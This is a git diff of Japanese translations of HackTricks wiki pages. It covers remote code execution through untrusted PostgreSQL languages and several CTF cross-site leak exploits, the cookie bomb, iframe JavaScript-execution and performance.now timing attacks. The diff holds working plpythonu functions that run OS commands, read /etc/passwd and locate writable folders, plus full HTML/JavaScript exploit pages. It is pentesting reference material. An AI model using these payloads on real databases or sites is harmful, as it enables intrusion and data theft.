* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングテクニックを共有するためにPRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください**。
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,27 +1,41 @@
|
|||
# RCE with PostgreSQL Languages
|
||||
|
||||
あなたがアクセスしたPostgreSQLデータベースには、**任意のコードを実行**するために悪用できる**スクリプト言語がインストールされている**可能性があります。
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
**実行することができます**:
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## PostgreSQL Languages
|
||||
|
||||
アクセスしたPostgreSQLデータベースには、**任意のコードを実行するために悪用できる**異なる**スクリプト言語がインストールされている可能性があります**。
|
||||
|
||||
**それらを実行することができます**:
|
||||
```sql
|
||||
\dL *
|
||||
|
||||
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
|
||||
```
|
||||
|
||||
ほとんどのスクリプト言語は、PostgreSQLにインストールできる**2つのバージョン**があります: **trusted**と**untrusted**です。**untrusted**は\*\*"u"で終わる名前\*\*を持ち、**コードの実行**や他の興味深い機能を利用できるバージョンです。インストールされていると興味深い言語は次のとおりです:
|
||||
ほとんどのスクリプト言語は、PostgreSQLにインストールできるもので、**2つの種類**があります:**trusted**と**untrusted**。**untrusted**は**"u"で終わる名前**を持ち、**コードを実行**したり、他の興味深い機能を使用することを許可するバージョンです。これらは、インストールされている場合に興味深い言語です:
|
||||
|
||||
* **plpythonu**
|
||||
* **plpython3u**
|
||||
* **plperlu**
|
||||
* **pljavaU**
|
||||
* **plrubyu**
|
||||
* ... (他のプログラミング言語も、安全でないバージョンを使用している場合)
|
||||
* ...(不安全なバージョンを使用している他のプログラミング言語)
|
||||
|
||||
{% hint style="warning" %}
|
||||
興味深い言語が**インストール**されているが、PostgreSQLによって**信頼されていない**(**`lanpltrusted`が`false`**)場合は、以下の行を使用して**信頼**することができます。これにより、PostgreSQLによる制限が適用されなくなります:
|
||||
|
||||
興味深い言語が**インストール**されているが、PostgreSQLによって**untrusted**とされている場合(**`lanpltrusted`**が**`false`**)、次の行を使用して**信頼**させることができ、PostgreSQLによって制限が適用されないようにすることができます:
|
||||
```sql
|
||||
UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
|
||||
# To check your permissions over the table pg_language
|
||||
|
@ -30,8 +44,7 @@ SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_languag
|
|||
{% endhint %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
言語が表示されない場合は、次の手順でロードしてみることができます(**スーパーアドミンである必要があります**):
|
||||
|
||||
言語が表示されない場合は、次のコマンドで読み込んでみてください(**スーパ管理者である必要があります**):
|
||||
```
|
||||
CREATE EXTENSION plpythonu;
|
||||
CREATE EXTENSION plpython3u;
|
||||
|
@ -41,10 +54,12 @@ CREATE EXTENSION plrubyu;
|
|||
```
|
||||
{% endhint %}
|
||||
|
||||
安全なバージョンを「安全ではない」状態でコンパイルすることも可能です。例として[**こちら**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html)を参照してください。したがって、**trusted** がインストールされている場合でも、コードを実行できるかどうかを常に試す価値があります。
|
||||
安全なバージョンを「非安全」としてコンパイルすることが可能であることに注意してください。例えば、[**こちら**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html)を確認してください。したがって、**trusted** のものしかインストールされていなくても、コードを実行できるかどうか試す価値は常にあります。
|
||||
|
||||
## plpythonu/plpython3u
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="RCE" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION exec (cmd text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -57,7 +72,9 @@ LANGUAGE 'plpythonu';
|
|||
|
||||
SELECT cmd("ls"); #RCE with popen or execve
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="OSユーザーを取得" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION get_user (pkg text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -69,7 +86,9 @@ LANGUAGE 'plpythonu';
|
|||
|
||||
SELECT get_user(""); #Get user, para is useless
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="ディレクトリのリスト" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION lsdir (dir text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -83,7 +102,9 @@ LANGUAGE 'plpythonu';
|
|||
|
||||
SELECT lsdir("/"); #List dir
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Wフォルダを見つける" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION findw (dir text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -110,7 +131,9 @@ LANGUAGE 'plpythonu';
|
|||
|
||||
SELECT findw("/"); #Find Writable folders from a folder (recursively)
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="ファイルを見つける" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION find_file (exe_sea text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -143,7 +166,9 @@ LANGUAGE 'plpythonu';
|
|||
|
||||
SELECT find_file("psql"); #Find a file
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="実行可能ファイルを見つける" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION findx (dir text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -175,7 +200,9 @@ LANGUAGE 'plpythonu';
|
|||
|
||||
SELECT findx("/"); #Find an executables in folder (recursively)
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="サブスによるexecの発見" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -208,7 +235,9 @@ LANGUAGE 'plpythonu';
|
|||
|
||||
SELECT find_exe("psql"); #Find executable by susbstring
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="読む" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION read (path text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -222,7 +251,9 @@ LANGUAGE 'plpythonu';
|
|||
|
||||
select read('/etc/passwd'); #Read a file in b64
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="権限を取得" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION get_perms (path text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -236,7 +267,9 @@ LANGUAGE 'plpythonu';
|
|||
|
||||
select get_perms("/etc/passwd"); # Get perms of file
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="リクエスト" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION req2 (url text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -260,10 +293,12 @@ LANGUAGE 'plpythonu';
|
|||
|
||||
SELECT req3('https://google.com'); #Request using python3
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
## pgSQL
|
||||
|
||||
以下のページをチェックしてください:
|
||||
次のページを確認してください:
|
||||
|
||||
{% content-ref url="pl-pgsql-password-bruteforce.md" %}
|
||||
[pl-pgsql-password-bruteforce.md](pl-pgsql-password-bruteforce.md)
|
||||
|
@ -271,20 +306,23 @@ SELECT req3('https://google.com'); #Request using python3
|
|||
|
||||
## C
|
||||
|
||||
以下のページをチェックしてください:
|
||||
次のページを確認してください:
|
||||
|
||||
{% content-ref url="rce-with-postgresql-extensions.md" %}
|
||||
[rce-with-postgresql-extensions.md](rce-with-postgresql-extensions.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong></summary>
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセス**したいですか、または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
|
||||
* [**公式PEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) **Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,21 @@
|
|||
# Cookie Bomb + Onerror XS Leak
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **ハッキングトリックを共有するために、** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
[**こちら**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)から取得した**スクリプト**は、ユーザーが**任意の量のクッキーを挿入**できる機能を悪用しており、真の応答が偽の応答よりも大きいことを知ってファイルをスクリプトとして読み込みます。成功すると、応答はリダイレクトであり、結果のURLが長すぎてサーバーが処理できないため、**エラーのHTTPステータスコードを返します**。検索が失敗した場合、URLが短いため何も起こりません。
|
||||
以下の**スクリプト**は[**こちら**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)から取得したもので、ユーザーが**任意の数のクッキーを挿入する**ことを可能にする機能を悪用しています。そして、真の応答が偽の応答よりも大きくなることを知ってファイルをスクリプトとして読み込むことができます。成功した場合、応答はリダイレクトで、結果のURLが長くなり、**サーバーが処理できないほど大きくなり、エラーのHTTPステータスコードを返します**。検索が失敗した場合、URLが短いため、何も起こりません。
|
||||
```html
|
||||
<>'";<form action='https://sustenance.web.actf.co/s' method=POST><input id=f /><input name=search value=a /></form>
|
||||
<script>
|
||||
|
@ -61,14 +64,17 @@ break;
|
|||
};
|
||||
</script>
|
||||
```
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>からAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,19 @@
|
|||
# JavaScript Execution XS Leak
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけてください
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、または**Twitter**で**私をフォロー**してください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **ハッキングトリックを共有するために、PRを**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と**[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
```javascript
|
||||
// Code that will try ${guess} as flag (need rest of the server code
|
||||
app.get('/guessing', function(req, res) {
|
||||
|
@ -30,7 +33,7 @@ window.parent.foo()
|
|||
res.send(page)
|
||||
});
|
||||
```
|
||||
メインページは、前の `/guessing` ページに iframe を生成して、各可能性をテストします。
|
||||
メインページは、各可能性をテストするために以前の `/guessing` ページに iframe を生成します。
|
||||
```html
|
||||
<html>
|
||||
<head>
|
||||
|
@ -75,14 +78,17 @@ hack.innerHTML = iframe
|
|||
</div>
|
||||
</html>
|
||||
```
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクション
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングトリックを共有するためにPRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,23 +1,26 @@
|
|||
# performance.now + Force heavy task
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>からAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけます
|
||||
* [**公式PEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れます
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**する🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**[https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)**から取得したエクスプロイト
|
||||
**Exploit taken from [https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)**
|
||||
|
||||
このチャレンジでは、ユーザーは数千の文字を送信し、フラグが含まれている場合、文字がボットに送り返されます。したがって、攻撃者は大量の文字を送信して、フラグが送信された文字列に含まれているかどうかを測定できました。
|
||||
このチャレンジでは、ユーザーは数千の文字を送信でき、フラグが含まれている場合、文字がボットに返されました。したがって、大量の文字を送信することで、攻撃者は送信された文字列にフラグが含まれているかどうかを測定できました。
|
||||
|
||||
{% hint style="warning" %}
|
||||
最初はオブジェクトの幅と高さを設定していませんでしたが、後で、デフォルトのサイズはロード時間に違いを生じさせるには小さすぎることが重要であることがわかりました。
|
||||
最初はオブジェクトの幅と高さを設定しませんでしたが、後でデフォルトのサイズが読み込み時間に違いをもたらすには小さすぎるため、重要であることがわかりました。
|
||||
{% endhint %}
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
|
@ -114,14 +117,17 @@ main()
|
|||
|
||||
</html>
|
||||
```
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングトリックを共有するためにPRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
